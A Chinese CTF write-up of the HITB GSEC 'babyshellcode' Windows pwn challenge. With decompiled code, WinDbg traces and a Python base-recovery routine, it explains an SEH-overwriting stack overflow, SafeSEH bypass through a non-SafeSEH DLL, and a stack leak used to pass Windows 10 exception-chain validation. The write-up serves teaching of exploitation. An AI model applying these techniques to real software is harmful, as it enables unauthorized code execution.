【CTF攻略】HITB GSEC CTF Win Pwn解题全记录之babyshellcode

http://p6.qhimg.com/t01a313cb0c3d6969eb.png

前言

这次在HITB GSEC CTF打酱油,也有了一次学习的机会,这次CTF出现了两道Windows pwn,我个人感觉质量非常高,因为题目出了本身无脑洞的漏洞之外,更多的让选手们专注于对Windows系统的防护机制(seh)原理的研究,再配合漏洞来完成对机制的突破和利用,在我做完之后重新整理整个解题过程,略微有一些窒息的感觉,感觉整个利用链环环相扣,十分精彩,不得不膜一下Atum大佬,题目出的真的好!对于菜鸟来说,是一次非常好的锻炼机会。

因此我认真总结了我们从拿到题目,多种尝试,不断改进exp,到最后获得shell的整个过程,而不仅仅是针对题目,希望能对同样奋斗在win pwn的小伙伴有一些帮助。

Babyshellcode Writeup with SEH and SafeSEH From Windows xp to Windows 10

拿到题目的时候,我们发现程序存在一个很明显的栈溢出,而且题目给的一些条件非常好,在栈结构中存在SEH链,在常规的利用SEH链进行栈溢出从而控制eip的过程中,我们会使用栈溢出覆盖seh handler,这是一个seh chain中的一个指针,它指向了异常处理函数。

但是程序中开启了safeseh,也就是说,单纯的通过覆盖seh handler跳转是不够的,我们首先需要bypass safeseh。

OK,我们来看题目。

在题目主函数中,首先在scmgr.dll中会初始化存放shellcode的堆,调用的是VirtualAlloc函数,并且会打印堆地址。

v0 = VirtualAlloc(0, 20 * SystemInfo.dwPageSize, 0x1000u, 0x40u);//注意这里的flprotect是0x40
dword_1000338C = (int)v0;
if ( v0 )
{
  sub_10001020("Global memory alloc at %pn", (char)v0);//打印堆地址
  result = dword_1000338C;
  dword_10003388 = dword_1000338C;
}

这里VirtualAlloc中有一个参数是flprotect,值是0x40,表示拥有RWE权限。

#define PAGE_EXECUTE_READWRITE 0x40

这个堆地址会用于存放shellcode,在CreateShellcode函数中会将shellcode拷贝到Memory空间里。

  v4 = 0;//v4在最开始拷贝的时候值是0
  ⋯⋯
  v11 = (int)*(&Memory + v4);//将Memory地址指针交给v11
  v13 = getchar();
  v14 = 0;
  if ( v12 )
  {
    do
    {
      *(_BYTE *)(v14++ + v15) = v13;//为Memory赋值
      v13 = getchar();
    }
    while ( v14 != v12 );
    v4 = v16;
  }

执行结束之后可以看到shellcode已经被拷贝到目标空间中。

随后执行runshellcode指令的时候,会调用“虚函数”,这里用引号表示,其实并不是真正的虚函数,只是虚函数的一种常见调用方法(做了CFG check,这里有个小插曲),实际上调用的是VirtualAlloc出来的堆的地址。

    v4 = *(void (**)(void))(v1 + 4);
    __guard_check_icall_fptr(*(_DWORD *)(v1 + 4));
    v4();

可以看到这里有个CFG check,之前我们一直以为环境是Win7,在Win7里CFG没有实装,这个在我之前的一篇IE11浏览器漏洞的文章中也提到过(https://whereisk0shl.top/cve_2017_0037_ie11&edge_type_confusion.html),因此这个Check是没用的,但是后来得知系统是Win10(这个后面会提到),这里会检查指针是否合法,这里无论如何都会合法,因为v1+4位置的值控制不了,这里就是指向堆地址。

这里跳转到堆地址后会由于shellcode头部4字节被修改,导致进入堆地址后是无效的汇编指令。

  byte_405448 = 1;
  puts("Hey, Welcome to shellcode test system!");
    if ( byte_405448 )
    {
      v3 = *(_DWORD **)(v1 + 4);
      memcpy(&Dst, *(const void **)(v1 + 4), *(_DWORD *)(v1 + 8));//这里没有对长度进行控制,造成栈溢出
      *v3 = -1;
    }

byte_405448是一个全局变量is_guard,它在runshellcode里决定了存放shellcode堆指针指向的shellcode前4字节是否改成0xffffffff,这里byte_405448的值是1,因此头部会被修改,而我们也必须进入这里,只有这里才能造成栈溢出。

0:000> g
Breakpoint 1 hit
eax=002bf7a4 ebx=00000000 ecx=00000000 edx=68bc1100 esi=000e0000 edi=0048e430
eip=00a113f3 esp=002bf794 ebp=002bf824 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
babyshellcode+0x13f3:
00a113f3 c706ffffffff    mov     dword ptr [esi],0FFFFFFFFh ds:0023:000e0000=61616161//shellcode头部被修改前正常
0:000> dd e0000 l1
000e0000  61616161 
0:000> p
eax=002bf7a4 ebx=00000000 ecx=00000000 edx=68bc1100 esi=000e0000 edi=0048e430
eip=00a113f9 esp=002bf794 ebp=002bf824 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
babyshellcode+0x13f9:
00a113f9 8b7704          mov     esi,dword ptr [edi+4] ds:0023:0048e434=000e0000
0:000> dd e0000 l1//头部被修改成0xffffffff
000e0000  ffffffff

随后我们跳转到头部执行,由于指令异常进入异常处理模块。

0:000> p
eax=002bf7a4 ebx=00000000 ecx=000e0000 edx=68bc1100 esi=000e0000 edi=0048e430
eip=00a11404 esp=002bf794 ebp=002bf824 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
babyshellcode+0x1404:
00a11404 ffd6            call    esi {000e0000}//跳转到堆
0:000> t
eax=002bf7a4 ebx=00000000 ecx=000e0000 edx=68bc1100 esi=000e0000 edi=0048e430
eip=000e0000 esp=002bf790 ebp=002bf824 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
000e0000 ff              ???//异常指令
0:000> p//进入异常处理模块
(20f90.20f9c): Illegal instruction - code c000001d (first chance)
eax=002bf7a4 ebx=00000000 ecx=000e0000 edx=68bc1100 esi=000e0000 edi=0048e430
eip=770b6bc9 esp=002bf340 ebp=002bf824 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
ntdll!KiUserExceptionDispatcher+0x1:
770b6bc9 8b4c2404        mov     ecx,dword ptr [esp+4] ss:0023:002bf344=002bf35c

利用SEH是栈溢出里常见的一种利用方法,在没有SafeSEH和SEHOP的情况下,可以利用seh里一个特殊的结构seh handler,通过覆盖它来完成eip/rip的控制,它指向的是异常处理函数,而加入了safeseh之后,会对sehhandler进行check,检查它是否可信,不可信的话返回0,则不会跳转到seh handler。而这个safeseh的check在ntdll的RtlIsValidHandler函数中,几年前Alex就发了关于这个函数的解读,现在伪代码遍地都是了。

BOOL RtlIsValidHandler(handler)
{
if (handler is in an image)//step 1 
{
         // 在加载模块的进程空间
if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set)
    return FALSE; // 该标志设置,忽略异常处理,直接返回FALSE
if (image has a SafeSEH table) // 是否含有SEH表
    if (handler found in the table)
        return TRUE; // 异常处理handle在表中,返回TRUE
    else
        return FALSE; // 异常处理handle不在表中,返回FALSE
if (image is a .NET assembly with the ILonly flag set)
    return FALSE; // .NET 返回FALSE
// fall through
}
if (handler is on a non-executable page)//step 2
{
         // handle在不可执行页上面
    if (ExecuteDispatchEnable bit set in the process flags)
        return TRUE; // DEP关闭,返回TRUE;否则抛出异常
    else
        raise ACCESS_VIOLATION; // enforce DEP even if we have no hardware NX
}
if (handler is not in an image)//step 3
{
         // 在加载模块内存之外,并且是可执行页
    if (ImageDispatchEnable bit set in the process flags)
        return TRUE; // 允许在加载模块内存空间外执行,返回验证成功
    else
        return FALSE; // don't allow handlers outside of images
}
// everything else is allowed
return TRUE;
}

首先我们想到的是利用堆指针来bypass safeseh,正好这个堆地址指向的shellcode,但是由于头部四字节呗修改成了0xffffffff,因此我们只需要覆盖seh handler为heap address+4,然后把shellcode跳过开头4字节编码,头4字节放任意字符串(反正会被编码成0xffffffff),然后后面放shellcode的内容,应该就可以达到利用了(事实证明我too young too naive了,这个方法在win xp下可以用。)

于是我们想到的栈布局如下:

但我们这样执行后,在windows xp下可以完成,但是win7下依然crash了,这就需要我们跟进ntdll!RtlIsValidHandler函数,回头看下伪代码部分。

这里有三步check,首先step1,if是不通过的因为堆地址属于加载进程外的地址,同理step2也是不通过的,因为堆地址申请的时候是可执行的,之所以用堆绕过SafeSEH是因为堆地址属于当前进程加载内存映像空间之外的地址。

0:000> !address e0000
Usage:                  <unclassified>
Allocation Base:        000e0000
Base Address:           000e0000
End Address:            000f4000
Region Size:            00014000
Type:                   00020000    MEM_PRIVATE
State:                  00001000    MEM_COMMIT
Protect:                00000040    PAGE_EXECUTE_READWRITE

那么safeseh进入step 3,又是加载模块内存之外的,又是可执行的,在winxp,通过堆绕过是可行的,但是在Win7及以上版本就不行了,为什么呢,因为这里多了一个Check,内容是MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE,它决定了是否允许在加载模块内存空间外执行。

这里只有当第六个比特为1时,才是可执行的

这里值是0x4d,也就是1001101,第六个比特是0,也就是MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE是不允许的,因此会return FALSE。

0:000> p
eax=00000000 ebx=000e0000 ecx=002bf254 edx=770b6c74 esi=002bf348 edi=00000000
eip=77100224 esp=002bf274 ebp=002bf2b0 iopl=0         nv up ei ng nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000287
ntdll!RtlIsValidHandler+0xff:
77100224 8a450c          mov     al,byte ptr [ebp+0Ch]      ss:0023:002bf2bc=4d
0:000> p
eax=00000000 ebx=002bf814 ecx=736f4037 edx=770b6c74 esi=002bf348 edi=00000000
eip=7708f88d esp=002bf2b4 ebp=002bf330 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!RtlIsValidHandler+0xfc:
7708f88d c20800          ret     8
0:000> p
eax=00000000 ebx=002bf814 ecx=736f4037 edx=770b6c74 esi=002bf348 edi=00000000
eip=7708f9fe esp=002bf2c0 ebp=002bf330 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!RtlDispatchException+0x10e:
7708f9fe 84c0            test    al,al
0:000> r al
al=0

通过堆绕过的方法失败了,我们又找到了其他方法,就是通过未开启safeseh的dll的方法来绕过safeseh,这里我们找到了scmgr.dll,它是一个未开启safeseh的模块,这个可以直接通过od的OllySSEH功能看到SafeSEH的开启状态。

这里我们只需要把seh handler指向scmgr.dll就可以了,而且我们在scmgr.dll里发现,其实system('cmd')已经在里面了,只需要跳转过去就可以了。

.text:10001100                 public getshell_test
.text:10001100 getshell_test   proc near               ; DATA XREF: .rdata:off_10002518o
.text:10001100                 push    offset Command  ; "cmd"
.text:10001105                 call    ds:system
.text:1000110B ; 3:   return 0;
.text:1000110B                 add     esp, 4
.text:1000110E                 xor     eax, eax
.text:10001110                 retn
.text:10001110 getshell_test   endp

但是这里有一个问题,就是scmgr.dll的基址是多少,这里我们想了两种方法来获得基址,一个是爆破,因为我们发现scmgr.dll在每次进程重启的时候基址都不变,因此我们只需要在0x60000000-0x8000000之间爆破就可以,0x8000000之上是内核空间的地址了,因此只需要爆破这个范围即可。(由于刚开始以为是win7,所以爆破的时候有一点没有考虑到,导致目标总是crash,我们也找不到原因,本地测试是完全没问题的,后面会提到)。

还有一种方法是我们看到了set shellcodeguard函数,这个就是我们之前提到对is_guard那个全局变量设置的函数,但实际上,这个也没法把这个值置0,毕竟置0之后直接就能撸shellcode了,但我们关注到Disable Shellcode Guard中一个有趣的加密。

  puts("1. Disable ShellcodeGuard");
  puts("2. Enable ShellcodeGuard");
  ⋯⋯
  if ( v2 == 1 )//加密在这里
  {
    v3 = ((int (*)(void))sub_4017F0)();
    v4 = sub_4017F0(v3);
    v5 = sub_4017F0(v4);
    v6 = sub_4017F0(v5);
    v7 = sub_4017F0(v6);
    v8 = sub_4017F0(v7);
    sub_4017C0("Your challenge code is %x-%x-%x-%x-%x-%xn", v8);
    puts("challenge response:");
    v9 = 0;
    v10 = getchar();
    do
    {
      if ( v10 == 10 )
        break;
      ++v9;
      v10 = getchar();
    }
    while ( v9 != 20 );
    puts("respose wrong!");
  }
  else//当v2为0的时候是Enable Shellcode Guard,全局变量置1
  {
    if ( v2 == 2 )
    {
      byte_405448 = 1;
      return 0;
    }
    puts("wrong option");
  }

这个加密其实很复杂的。

后来官方也给出了hint,Hint for babyshellcode: The algorithm is neither irreversible nor z3-solvable.告诉大家这个加密算法不可逆,别想了!

先我们来看一下这个加密算法加密的什么玩意,我们跟入这个算法。

0:000> p
eax=ae7e77d0 ebx=0000001f ecx=0cd4ae6b edx=00000000 esi=00ae7e77 edi=354eaad0
eip=00a11818 esp=0016fcd8 ebp=0016fd08 iopl=0         ov up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000a07
babyshellcode+0x1818:
*** WARNING: Unable to verify checksum for C:Userssh1Desktopscmgr.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:Userssh1Desktopscmgr.dll - 
00a11818 3334955054a100  xor     esi,dword ptr babyshellcode+0x5450 (00a15450)[edx*4] ds:0023:00a15450={scmgr!init_scmgr (67bc1090)}

发现在算法初始化的时候,加密的是scmgr!init_scmgr的地址,也就是67bc1090,这个就厉害了,既然不可逆,我们把这个算法dump出来正向爆破去算,如果结果等于最后加密的结果,那就是碰到基址了,这样一是不用频繁和服务器交互,二是及时dll每次进程重启基址都改变,也能直接通过这种方法不令进程崩溃也能获得到基址。

def gen_cha_code(base):
    init_scmgr = base*0x10000 +0x1090
    value = init_scmgr
    g_table = [value]
    for i in range(31):
        value = (value * 69069)&0xffffffff
        g_table.append(value)
    g_index = 0
    v0 = (g_index-1)&0x1f
    v2 = g_table[(g_index+3)&0x1f]^g_table[g_index]^(g_table[(g_index+3)&0x1f]>>8)
    v1 = g_table[v0]
    v3 = g_table[(g_index + 10) & 0x1F]
    v4 = g_table[(g_index - 8) & 0x1F] ^ v3 ^ ((v3 ^ (32 * g_table[(g_index - 8) & 0x1F])) << 14)
    v4 = v4&0xffffffff
    g_table[g_index] = v2^v4
    g_table[v0] = (v1 ^ v2 ^ v4 ^ ((v2 ^ (16 * (v1 ^ 4 * v4))) << 7))&0xffffffff
    g_index = (g_index - 1) & 0x1F
    return g_table[g_index]

这样,获取到基址之后,我们就能够构造seh handler了,直接令seh handler指向getshell_test就直接能获得和目标的shell交互了。通过栈溢出覆盖seh chain。

0:000> !exchain
0016fcf8: scmgr!getshell_test+0 (67bc1100)
Invalid exception stack at 0d16fd74

进入safeseh,由于在nosafeseh空间,返回true,该地址可信。

0:000> p
eax=72b61100 ebx=0023f99c ecx=0023f424 edx=770b6c74 esi=0023f4c8 edi=00000000
eip=7708f9f9 esp=0023f438 ebp=0023f4b0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ntdll!RtlDispatchException+0x109:
7708f9f9 e815feffff      call    ntdll!RtlIsValidHandler (7708f813)
0:000> p
eax=0023f401 ebx=0023f99c ecx=73a791c6 edx=00000000 esi=0023f4c8 edi=00000000
eip=7708f9fe esp=0023f440 ebp=0023f4b0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!RtlDispatchException+0x10e:
7708f9fe 84c0            test    al,al
0:000> r al
al=1

进入call seh handler,跳转到getshell_test。

0:000> p
eax=00000000 ebx=00000000 ecx=73a791c6 edx=770b6d8d esi=00000000 edi=00000000
eip=770b6d74 esp=0023f3e4 ebp=0023f400 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!ExecuteHandler2+0x21:
770b6d74 8b4d18          mov     ecx,dword ptr [ebp+18h] ss:0023:0023f418={scmgr!getshell_test (72b61100)}
0:000> p
eax=00000000 ebx=00000000 ecx=72b61100 edx=770b6d8d esi=00000000 edi=00000000
eip=770b6d77 esp=0023f3e4 ebp=0023f400 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!ExecuteHandler2+0x24:
770b6d77 ffd1            call    ecx {scmgr!getshell_test (72b61100)}
0:000> t
eax=00000000 ebx=00000000 ecx=72b61100 edx=770b6d8d esi=00000000 edi=00000000
eip=72b61100 esp=0023f3e0 ebp=0023f400 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
scmgr!getshell_test:
72b61100 68f420b672      push    offset scmgr!getshell_test+0xff4 (72b620f4)

到这里利用就完整了吗?我们在win7下没问题了,但是在目标却一直crash掉,实在是搞不明白,后来才知道,我们用错了环境!原来目标是Win10…

Win10的SafeSEH和Win7又有所区别,这里要提到SEH的两个域,一个是prev域和handler域,prev域会存放一个指向下一个seh chain的栈地址,handler域就是存放的seh handler,而Win10里面多了一个Check函数ntdll!RtlpIsValidExceptionChain,这个函数会去获得当前seh chain的prev域的值。

0:000> p//这里我们覆盖prev为0x61616161
eax=030fd000 ebx=03100000 ecx=030ff7ac edx=6fdd1100 esi=030ff278 edi=030fd000
eip=7771ea79 esp=030ff1bc ebp=030ff1c8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
ntdll!RtlpIsValidExceptionChain+0x2b:
7771ea79 8b31            mov     esi,dword ptr [ecx]  ds:002b:030ff7ac=61616161
0:000> p
eax=030fd000 ebx=03100000 ecx=030ff7ac edx=6fdd1100 esi=61616161 edi=030fd000
eip=7771ea7b esp=030ff1bc ebp=030ff1c8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
ntdll!RtlpIsValidExceptionChain+0x2d:
7771ea7b 83feff          cmp     esi,0FFFFFFFFh
0:000> p
eax=030fd000 ebx=03100000 ecx=030ff7ac edx=6fdd1100 esi=61616161 edi=030fd000
eip=7771ea7e esp=030ff1bc ebp=030ff1c8 iopl=0         nv up ei pl nz ac po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000213
ntdll!RtlpIsValidExceptionChain+0x30:
7771ea7e 740f            je      ntdll!RtlpIsValidExceptionChain+0x41 (7771ea8f) [br=0]

随后,会去和seh表里存放的prev域的值进行比较。

0:000> p
eax=030ff7b4 ebx=03100000 ecx=61616161 edx=6fdd1100 esi=61616161 edi=030fd000
eip=7771ea8a esp=030ff1bc ebp=030ff1c8 iopl=0         nv up ei pl nz ac po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000213
ntdll!RtlpIsValidExceptionChain+0x3c:
7771ea8a 8d53f8          lea     edx,[ebx-8]
0:000> p
eax=030ff7b4 ebx=03100000 ecx=61616161 edx=030ffff8 esi=61616161 edi=030fd000
eip=7771ea8d esp=030ff1bc ebp=030ff1c8 iopl=0         nv up ei pl nz ac po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000213
ntdll!RtlpIsValidExceptionChain+0x3f:
7771ea8d ebd6            jmp     ntdll!RtlpIsValidExceptionChain+0x17 (7771ea65)
0:000> p
eax=030ff7b4 ebx=03100000 ecx=61616161 edx=030ffff8 esi=61616161 edi=030fd000
eip=7771ea65 esp=030ff1bc ebp=030ff1c8 iopl=0         nv up ei pl nz ac po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000213
ntdll!RtlpIsValidExceptionChain+0x17:
7771ea65 3bc1            cmp     eax,ecx//ecx寄存器存放的是栈里被覆盖的,eax存放的是正常的pointer to next chain

可以看到这里检测是不通过的,因此造成了crash,所以,我们需要对seh chain进行fix,把pointer to next chain修改成下一个seh chain的栈地址,这就需要我们获取当前的栈地址,栈地址是自动动态申请和回收的,和堆不一样,因此每次栈地址都会发生变化,我们需要一个stack info leak。

于是我们在程序中找到了这样一个stack info leak的漏洞,开头有个stack info leak,在最开始的位置。

  v1 = getchar();
  do
  {
    if ( v1 == 10 )
      break;
    *((_BYTE *)&v5 + v0++) = v1;
    v1 = getchar();
  }
  while ( v0 != 300 );
  sub_4017C0("hello %sn", &v5);

0:000> g//一字节一字节写入,esi是计数器,ebp-18h是指向拷贝目标的指针
Breakpoint 0 hit
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=00000061 esi=00000000 edi=005488a8
eip=000a16a4 esp=0036f90c ebp=0036f938 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
babyshellcode+0x16a4:
000a16a4 884435e8        mov     byte ptr [ebp+esi-18h],al  ss:0023:0036f920=00
0:000> p
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=00000061 esi=00000000 edi=005488a8
eip=000a16a8 esp=0036f90c ebp=0036f938 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
babyshellcode+0x16a8:
000a16a8 46              inc     esi
0:000> p//获取下一字节
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=00000061 esi=00000001 edi=005488a8
eip=000a16a9 esp=0036f90c ebp=0036f938 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
babyshellcode+0x16a9:
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:Userssh1Desktopucrtbase.DLL - 
000a16a9 ff15e4300a00    call    dword ptr [babyshellcode+0x30e4 (000a30e4)] ds:0023:000a30e4={ucrtbase!getchar (5740b260)}
0:000> p//判断长度
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8
eip=000a16af esp=0036f90c ebp=0036f938 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
babyshellcode+0x16af:
000a16af 81fe2c010000    cmp     esi,12Ch
0:000> p
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8
eip=000a16b5 esp=0036f90c ebp=0036f938 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
babyshellcode+0x16b5:
000a16b5 75e9            jne     babyshellcode+0x16a0 (000a16a0)         [br=1]
0:000> p//判断是否是回车
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8
eip=000a16a0 esp=0036f90c ebp=0036f938 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
babyshellcode+0x16a0:
000a16a0 3c0a            cmp     al,0Ah
0:000> p
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8
eip=000a16a2 esp=0036f90c ebp=0036f938 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
babyshellcode+0x16a2:
000a16a2 7413            je      babyshellcode+0x16b7 (000a16b7)         [br=0]
0:000> p//继续写入
Breakpoint 0 hit
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8
eip=000a16a4 esp=0036f90c ebp=0036f938 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
babyshellcode+0x16a4:
000a16a4 884435e8        mov     byte ptr [ebp+esi-18h],al  ss:0023:0036f921=00

这里判断的长度是0x12C,也就是300,但实际上拷贝目标ebp-18很短,而esi会不断增加,而没有做控制,最关键的是这个过程。

.text:004016A4 ; 20:     *((_BYTE *)&v5 + v0++) = v1;
.text:004016A4                 mov     byte ptr [ebp+esi+var_18], al
.text:004016A8 ; 21:     v1 = getchar();
.text:004016A8                 inc     esi//key!!
.text:004016A9                 call    ds:getchar
.text:004016AF ; 23:   while ( v0 != 300 );
.text:004016AF                 cmp     esi, 12Ch

这里是在赋值结束之后,才将esi自加1,然后才去做长度判断,然后再跳转去做是否回车的判断,如果回车则退出,也就是说,这里会多造成4字节的内存泄漏,我们来看一下赋值过程中的内存情况。

0:000> dd ebp-18 l7
0036f920  00000061 00000000 00000000 00000000
0036f930  00000000 1ea6b8ab 0036f980

可以看到,在0036f920地址偏移+0x18的位置存放着一个栈地址,也就是说,如果我们让name的长度覆盖到0036f938位置的时候,多泄露的4字节是一个栈地址,这样我们就可以用来fix seh stack了。

有了这个内存泄漏,我们就可以重新构造栈布局了,栈布局如下:

这样,结合之前我们的整个利用过程,完成整个利用链,最后完成shell交互。

(完)